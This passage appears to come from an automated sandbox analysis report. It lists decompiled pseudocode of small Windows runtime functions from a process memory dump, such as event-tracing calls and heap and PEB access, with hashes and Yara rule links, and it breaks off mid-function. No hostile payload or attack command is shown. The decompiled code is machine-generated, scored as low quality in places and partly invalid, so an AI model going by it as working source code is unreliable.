0x00000000
0x046ca61d
0x0467b04b
0x0467b04e
0x046ca627
0x046ca634
0x00000000
0x00000000
0x046ca641
0x046ca653
0x046ca643
0x046ca64c
0x046ca64c
0x046ca65b
0x00000000
0x00000000
0x00000000
0x046ca66c
0x0467b057
0x0467b057
0x0467b057
0x0467b046
0x0467b046
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction ID: 40a3bffca8212b781efc51a06036b31c3451197648afdd080817c6d6a9348675
Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction Fuzzy Hash: 0B015A723019849FD322CB9DC988F7677D8EB55B58F0900A5A919CBB51F628FC81C624

Uniqueness

Uniqueness Score: -1.00%

Function 04738ED6, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E04738ED6(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				short _v62;
				char _v68;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t42;
				signed int _t43;

				_t40 = __edx;
				_v8 =  *0x475d360 ^ _t43;
				_v28 = __ecx;
				_v62 = 0x1c2a;
				_v36 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 =  *((intOrPtr*)(__edx + 0xcc));
				_v20 =  *((intOrPtr*)(__edx + 0xd8));
				_v16 =  *((intOrPtr*)(__edx + 0xd4));
				_v24 = __edx;
				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
				if(E04687D50() == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v68);
				_push(0x1c);
				_push(0x20402);
				_push( *_t29 & 0x000000ff);
				return E046AB640(E046A9AE0(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
			}

0x04738ed6
0x04738ee5
0x04738eed
0x04738ef0
0x04738efa
0x04738f03
0x04738f0c
0x04738f15
0x04738f24
0x04738f27
0x04738f31
0x04738f43
0x04738f33
0x04738f3c
0x04738f3c
0x04738f4e
0x04738f4f
0x04738f51
0x04738f56
0x04738f69

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5580f47005bb04cdcac98181571507b513529f61ad13d95dd095b567fe43a7de
Instruction ID: d326ad72758ea6d948b4c2c10f8d42dd9223c588253fa61d98e23446dbd12d84
Opcode Fuzzy Hash: 5580f47005bb04cdcac98181571507b513529f61ad13d95dd095b567fe43a7de
Instruction Fuzzy Hash: 00111E70E00659DFDB04DFA9D541BAEB7F4FF08300F1442AAE518EB382E634A940CB94

Uniqueness

Uniqueness Score: -1.00%

Function 04738A62, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E04738A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char* _t18;
				signed int _t32;

				_t29 = __edx;
				_v12 =  *0x475d360 ^ _t32;
				_t31 = _a8;
				_t30 = _a12;
				_v66 = 0x1c20;
				_v40 = __ecx;
				_v36 = __edx;
				_v32 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				if(E04687D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v72);
				_push(0x14);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E046AB640(E046A9AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x04738a62
0x04738a71
0x04738a79
0x04738a82
0x04738a85
0x04738a89
0x04738a8c
0x04738a8f
0x04738a92
0x04738a95
0x04738a9f
0x04738ab1
0x04738aa1
0x04738aaa
0x04738aaa
0x04738abc
0x04738abd
0x04738abf
0x04738ac4
0x04738ada

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20a0c4635280d7551db228b2550f40363ed6a5ef46cb62932183bee731f47c29
Instruction ID: 9138628787d656745b685f495cb5d28bb91a5ddc0b1ee0e640b2edfbe9d21ade
Opcode Fuzzy Hash: 20a0c4635280d7551db228b2550f40363ed6a5ef46cb62932183bee731f47c29
Instruction Fuzzy Hash: 17012CB1A0021CAFDB00EFA9D9419EEB7F8EF48710F10405AFA05E7341E634AD10CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0466DB60, Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0466DB60(signed int __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				intOrPtr _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *((intOrPtr*)(__ecx)) != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = E0466DB40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = E0466E7B0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L0466E8B0(__ecx, _t14, 0xfff);
							L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}

0x0466db64
0x0466db66
0x0466db6b
0x0466dbaa
0x0466db71
0x0466db76
0x0466db7a
0x0466dba3
0x0466db7c
0x0466db87
0x0466db8b
0x046c4fa1
0x046c4fb3
0x046c4fb8
0x0466db91
0x0466db96
0x0466db98
0x0466db98
0x0466db8b
0x0466db7a
0x0466db9d
0x0466dba2

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction ID: b41ac75f17b96a58c31cf96a85c6dd72577bfb344bed2e387aeba6491b4c6d91
Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction Fuzzy Hash: 4DF0FC737015229FE3726A55C880F27B69DCFE2A60F190039F1079B34CFD60AC0296D4

Uniqueness

Uniqueness Score: -1.00%

Function 0466B1E1, Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0466B1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
				signed char* _t13;
				intOrPtr _t22;
				char _t23;

				_t23 = __edx;
				_t22 = __ecx;
				if(E04687D50() != 0) {
					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					_t13 =  *[fs:0x30];
					if((_t13[0x240] & 0x00000004) == 0) {
						goto L3;
					}
					if(E04687D50() == 0) {
						_t13 = 0x7ffe0385;
					} else {
						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t13 & 0x00000020) == 0) {
						goto L3;
					}
					return E046E7016(0x14a4, _t22, _t23, _a4, _a8, 0);
				} else {
					L3:
					return _t13;
				}
			}

0x0466b1e8
0x0466b1ea
0x0466b1f3
0x046c4a17
0x0466b1f9
0x0466b1f9
0x0466b1f9
0x0466b201
0x046c4a21
0x046c4a2e
0x00000000
0x00000000
0x046c4a3b
0x046c4a4d
0x046c4a3d
0x046c4a46
0x046c4a46
0x046c4a55
0x00000000
0x00000000
0x00000000
0x0466b20a
0x0466b20a
0x0466b20a
0x0466b20a

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction ID: 4f3de1bca869162d781c90320813e215ccb3c266094dcca7662c427474c5a6ec
Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction Fuzzy Hash: 2601D132200680EBD3229799C814F79BBD8EF91B54F0800AAF915CB7B5FA78F800C258

Uniqueness

Uniqueness Score: -1.00%

Function 046FFE87, Relevance: .0, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E046FFE87(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_v8 =  *0x475d360 ^ _t35;
				_v16 = __ecx;
				_v54 = 0x1722;
				_v24 =  *(__ecx + 0x14) & 0x00ffffff;
				_v28 =  *((intOrPtr*)(__ecx + 4));
				_v20 =  *((intOrPtr*)(__ecx + 0xc));
				if(E04687D50() == 0) {
					_t21 = 0x7ffe0382;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x228;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E046AB640(E046A9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x046ffe96
0x046ffe9e
0x046ffea1
0x046ffead
0x046ffeb3
0x046ffeb9
0x046ffec3
0x046ffed5
0x046ffec5
0x046ffece
0x046ffece
0x046ffee0
0x046ffee1
0x046ffee3
0x046ffee8
0x046ffefb

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66325c298130f61b33bffbe0e7bd1d1de964d20f8d7bf1659b0670ed3ed19143
Instruction ID: 1648b6777b33719709dfb03b72e22489d3a2bde6b865440d3d05309b16c0df32
Opcode Fuzzy Hash: 66325c298130f61b33bffbe0e7bd1d1de964d20f8d7bf1659b0670ed3ed19143
Instruction Fuzzy Hash: 55016270A00208EFCB14DFA8D941A6EB7F4EF04704F14419AA954DB382E635ED01CB44

Uniqueness

Uniqueness Score: -1.00%

Function 04738F6A, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E04738F6A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x475d360 ^ _t32;
				_v16 = __ecx;
				_v50 = 0x1c2c;
				_v24 = _a4;
				_v20 = _a8;
				_v12 = __edx;
				if(E04687D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x402);
				_push( *_t18 & 0x000000ff);
				return E046AB640(E046A9AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x04738f6a
0x04738f79
0x04738f81
0x04738f84
0x04738f8b
0x04738f91
0x04738f94
0x04738f9e
0x04738fb0
0x04738fa0
0x04738fa9
0x04738fa9
0x04738fbb
0x04738fbc
0x04738fbe
0x04738fc3
0x04738fd6

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 743073917e1e2955d9d941a34036e6c83cad7cd84a729093bd57aecb0549734a
Instruction ID: 5c1148991aa4686c56661a6d82d36399147d16ee215a9e40079dbe7fddf4dac5
Opcode Fuzzy Hash: 743073917e1e2955d9d941a34036e6c83cad7cd84a729093bd57aecb0549734a
Instruction Fuzzy Hash: EC014474A0020DEFDB00EFA8D545AAEB7F4EF08300F10845AB905EB381EA74EE10CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0472131B, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E0472131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x475d360 ^ _t32;
				_v20 = _a4;
				_v12 = _a8;
				_v24 = __ecx;
				_v16 = __edx;
				_v50 = 0x1021;
				if(E04687D50() == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E046AB640(E046A9AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x0472131b
0x0472132a
0x04721330
0x04721336
0x0472133e
0x04721341
0x04721344
0x0472134f
0x04721361
0x04721351
0x0472135a
0x0472135a
0x0472136c
0x0472136d
0x0472136f
0x04721374
0x04721387

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3725b18b125c95ac2621fff7120aa73a9879979ae42e65529f1f536d298c4d
Instruction ID: e157c31f9d3bb80b63ec536dda2f0d0eb74eda69e9beedb305a0db140b20a95f
Opcode Fuzzy Hash: 5d3725b18b125c95ac2621fff7120aa73a9879979ae42e65529f1f536d298c4d
Instruction Fuzzy Hash: C4013171E01658AFDB04EFA9D545AAEB7F4FF08700F50805AB945EB341E674AA10CB54

Uniqueness

Uniqueness Score: -1.00%

Function 04721608, Relevance: .0, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E04721608(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t15;
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_t26 = __edx;
				_v8 =  *0x475d360 ^ _t29;
				_v12 = _a4;
				_v20 = __ecx;
				_v16 = __edx;
				_v46 = 0x1024;
				if(E04687D50() == 0) {
					_t15 = 0x7ffe0380;
				} else {
					_t15 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v52);
				_push(0xc);
				_push(0x20402);
				_push( *_t15 & 0x000000ff);
				return E046AB640(E046A9AE0(), _t21, _v8 ^ _t29, _t26, _t27, _t28);
			}

0x04721608
0x04721617
0x0472161d
0x04721625
0x04721628
0x0472162b
0x04721636
0x04721648
0x04721638
0x04721641
0x04721641
0x04721653
0x04721654
0x04721656
0x0472165b
0x0472166e

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e9c364063b44905c94a194de5fa24c1aacdf2df93d426b0c89bb7482bbb6929
Instruction ID: e0d5d2ddb64f65be55c16191595ba791125191e8efd3cb45ae6430218f57bcae
Opcode Fuzzy Hash: 3e9c364063b44905c94a194de5fa24c1aacdf2df93d426b0c89bb7482bbb6929
Instruction Fuzzy Hash: A1F06271E00658EFDB14EFA9D505AAEB7F4FF04300F44406AA915EB381EA34AE00CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0468C577, Relevance: .0, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0468C577(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx + 0xdd)) != 0 || E0468C5D5(__ecx, _t19) == 0 ||  *((intOrPtr*)(__ecx + 4)) != 0x46411cc ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					__eflags = _a4;
					if(__eflags != 0) {
						L10:
						E047388F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags == 0) {
						goto L10;
					}
					goto L9;
				} else {
					return 1;
				}
			}

0x0468c577
0x0468c57d
0x0468c581
0x0468c5b5
0x0468c5b9
0x0468c5ce
0x0468c5ce
0x0468c5ca
0x00000000
0x0468c5ca
0x0468c5c4
0x0468c5c8
0x00000000
0x00000000
0x00000000
0x0468c5ad
0x00000000
0x0468c5af

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75200d508a7c1a9c2c4f9cbca6c896a0f91aa428aaa170b7489aaff8468c3820
Instruction ID: fb97eb53b6ab0302ea0cfbd2e59f18884f04ea8f24ad372f4ea780839592ff30
Opcode Fuzzy Hash: 75200d508a7c1a9c2c4f9cbca6c896a0f91aa428aaa170b7489aaff8468c3820
Instruction Fuzzy Hash: 20F090B29166909EEF31BB148004B627BD49B15774F45866EE40587701F7A4FCA0C273

Uniqueness

Uniqueness Score: -1.00%

Function 04738D34, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E04738D34(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v42;
				char _v48;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t26;

				_t23 = __edx;
				_v8 =  *0x475d360 ^ _t26;
				_v16 = __ecx;
				_v42 = 0x1c2b;
				_v12 = __edx;
				if(E04687D50() == 0) {
					_t12 = 0x7ffe0386;
				} else {
					_t12 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v48);
				_push(8);
				_push(0x20402);
				_push( *_t12 & 0x000000ff);
				return E046AB640(E046A9AE0(), _t18, _v8 ^ _t26, _t23, _t24, _t25);
			}

0x04738d34
0x04738d43
0x04738d4b
0x04738d4e
0x04738d52
0x04738d5c
0x04738d6e
0x04738d5e
0x04738d67
0x04738d67
0x04738d79
0x04738d7a
0x04738d7c
0x04738d81
0x04738d94

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d0e5fcdb05cd30b4a025a795614179402d01c70accc144be2d0d872abe441dd
Instruction ID: 34a4278d9ebbb4b08f132a26e82a394ec315034ee874f19d4cffdb66bbb8bb5c
Opcode Fuzzy Hash: 1d0e5fcdb05cd30b4a025a795614179402d01c70accc144be2d0d872abe441dd
Instruction Fuzzy Hash: 1AF09070A046089FDB14EFA8D541A6E77B4EB08700F50809AF905AB381EA34F900CB54

Uniqueness

Uniqueness Score: -1.00%

Function 04722073, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E04722073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed char _t3;
				signed char _t7;
				void* _t19;

				_t17 = __ecx;
				_t3 = E0471FD22(__ecx);
				_t19 =  *0x475849c - _t3; // 0x0
				if(_t19 == 0) {
					__eflags = _t17 -  *0x4758748; // 0x0
					if(__eflags <= 0) {
						E04721C06();
						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
						__eflags = _t3;
						if(_t3 != 0) {
							L5:
							__eflags =  *0x4758724 & 0x00000004;
							if(( *0x4758724 & 0x00000004) == 0) {
								asm("int3");
								return _t3;
							}
						} else {
							_t3 =  *0x7ffe02d4 & 0x00000003;
							__eflags = _t3 - 3;
							if(_t3 == 3) {
								goto L5;
							}
						}
					}
					return _t3;
				} else {
					_t7 =  *0x4758724; // 0x0
					return E04718DF1(__ebx, 0xc0000374, 0x4755890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
				}
			}

0x04722076
0x04722078
0x0472207d
0x04722083
0x047220a4
0x047220aa
0x047220ac
0x047220b7
0x047220ba
0x047220bc
0x047220c9
0x047220c9
0x047220d0
0x047220d2
0x00000000
0x047220d2
0x047220be
0x047220c3
0x047220c5
0x047220c7
0x00000000
0x00000000
0x047220c7
0x047220bc
0x047220d4
0x04722085
0x04722085
0x047220a3
0x047220a3

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b10cd62611a3ecca3427349acdd185c030cac076169213642a8da05d4f73870c
Instruction ID: 4db8825a5c4fd5c03a41f2e552d7a40540928e1c8d581ef31f530c79c860af7e
Opcode Fuzzy Hash: b10cd62611a3ecca3427349acdd185c030cac076169213642a8da05d4f73870c
Instruction Fuzzy Hash: 56F0A02A8152A44BEF327F6966153E12B98D745118F0A4CC5D8901F316C5B9FC93CA62

Uniqueness

Uniqueness Score: -1.00%

Function 046A927A, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E046A927A(void* __ecx) {
				signed int _t11;
				void* _t14;

				_t11 = L04684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
				if(_t11 != 0) {
					E046AFA60(_t11, 0, 0x98);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
					 *((intOrPtr*)(_t11 + 0x24)) = 1;
					E046A92C6(_t11, _t14);
				}
				return _t11;
			}

0x046a9295
0x046a9299
0x046a929f
0x046a92aa
0x046a92ad
0x046a92ae
0x046a92af
0x046a92b0
0x046a92b4
0x046a92bb
0x046a92bb
0x046a92c5

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction ID: 9d768ed809550301cfe8e6552a3db44445694f985ddc9b94d436297273464416
Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction Fuzzy Hash: B3E02B723409006BE7119E09CC80F43375DDF82728F00407CB5001F242DAE5FC1C8BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0468746D, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0468746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
				signed int _t8;
				void* _t10;
				short* _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t17 = __ebx;
				if( *((char*)(_t21 - 0x25)) != 0) {
					if(__ecx == 0) {
						E0467EB70(__ecx, 0x47579a0);
					} else {
						asm("lock xadd [ecx], eax");
						if((_t8 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(__ecx + 4)));
							E046A95D0();
							L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
						}
					}
					L10:
				}
				_t10 = _t19 + _t19;
				if(_t20 >= _t10) {
					if(_t19 != 0) {
						 *_t17 = 0;
						return 0;
					}
				}
				return _t10;
				goto L10;
			}

0x0468746d
0x0468746d
0x0468746d
0x04687471
0x04687488
0x046cf92d
0x0468748e
0x04687491
0x04687495
0x046cf937
0x046cf93a
0x046cf94e
0x046cf953
0x046cf956
0x046cf956
0x04687495
0x00000000
0x04687488
0x04687473
0x04687478
0x0468747d
0x04687481
0x00000000
0x04687481
0x0468747d
0x0468747a
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 730d82b60a9d48163f7ccab42b3510118c32fc84272048cfd6673acac3edefd8
Instruction ID: d7b4c8f1832cf23d5563aeda16b8c19fb949cca3c84f97c4990b2581fbb26f85
Opcode Fuzzy Hash: 730d82b60a9d48163f7ccab42b3510118c32fc84272048cfd6673acac3edefd8
Instruction Fuzzy Hash: 41F0E934600348AADF05BB68CC40B797FB1AF1439AF24475DD855AB260F765BC01DB89

Uniqueness

Uniqueness Score: -1.00%

Function 04738CD6, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E04738CD6(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x475d360 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2d;
				if(E04687D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push(0xffffffe4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E046AB640(E046A9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x04738ce5
0x04738ced
0x04738cf0
0x04738cfb
0x04738d0d
0x04738cfd
0x04738d06
0x04738d06
0x04738d18
0x04738d19
0x04738d1b
0x04738d20
0x04738d33

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 145ecf88725905668ef7e82b3da8be101c27c3b94558e48700d161b8bed4ad36
Instruction ID: 97ad922516bb9e8b875fecd39fe9cb5aa47b5b795857fb87f5df16a0bcbd90a9
Opcode Fuzzy Hash: 145ecf88725905668ef7e82b3da8be101c27c3b94558e48700d161b8bed4ad36
Instruction Fuzzy Hash: 37F08970A046489BDB04EBB9D945D6E77B4EF09304F15419EF515EB381E934FD00C759

Uniqueness

Uniqueness Score: -1.00%

Function 04664F2E, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04664F2E(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
